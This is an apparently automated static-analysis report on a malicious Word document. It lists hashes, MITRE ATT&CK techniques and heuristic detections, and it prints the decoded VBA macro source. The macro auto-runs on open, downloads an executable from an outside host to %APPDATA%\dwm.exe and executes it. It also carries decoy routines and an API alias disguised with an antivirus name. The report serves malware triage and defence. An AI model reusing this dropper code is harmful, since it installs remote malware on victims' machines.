Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9b869ade9d4d106…

MALICIOUS

Office (OLE)

257.5 KB Created: 2014-01-03 05:15:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 4531a254934e72a12012d05f57e7a7e0 SHA-1: 5b3fe7c613e6f743826d1c8c73c131703476f4cf SHA-256: f9b869ade9d4d106f426f7e7356e3cac043a460cdf21bdaddebfc0ee3badbf3c
254 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage the AutoOpen and Workbook_Open events to execute. The Mobst subroutine within the VBA code uses URLDownloadToFileA to download a second-stage executable from 'http://forum.avtoyard.ru/1/obgekt.exe' and saves it as '%APPDATA%\dwm.exe'. Subsequently, it executes this downloaded file using the Shell function. The document body explicitly prompts the user to enable macros, indicating a social engineering lure.

Heuristics 10

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\dwm.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Mcfee 0, "http://forum.avtoyard.ru/1/obgekt.exe", Environ("APPDATA") & "\dwm.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://forum.avtoyard.ru/1/obgekt.exe Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1430 bytes
SHA-256: c856315701121c51dffff40c8d89aa0609a2395ff2925643f06c02e95f309df6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Mcfee _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    Mobst
End Sub



Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub R2y234yu324huh4321h234324lhlh234()
 mAG ASDA
End Sub

Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub

Sub Rubense3()
 Hola ASD
End Sub

Sub Mobst()
On Error Resume Next

Mcfee 0, "http://forum.avtoyard.ru/1/obgekt.exe", Environ("APPDATA") & "\dwm.exe", 0, 0
Shell Environ("APPDATA") & "\dwm.exe"

End Sub

Attribute VB_Name = "Modulo1"

Attribute VB_Name = "Modulo2"
Sub Rub33ete()
 SDHUSDFH MAD
End Sub
Sub R21321ete()
 SDHUSDFH MAD
End Sub
Sub Rub323()
 SDHUSDFH MAD
End Sub
Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub
Sub Rubae()
 SDHUSDFH MAD
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.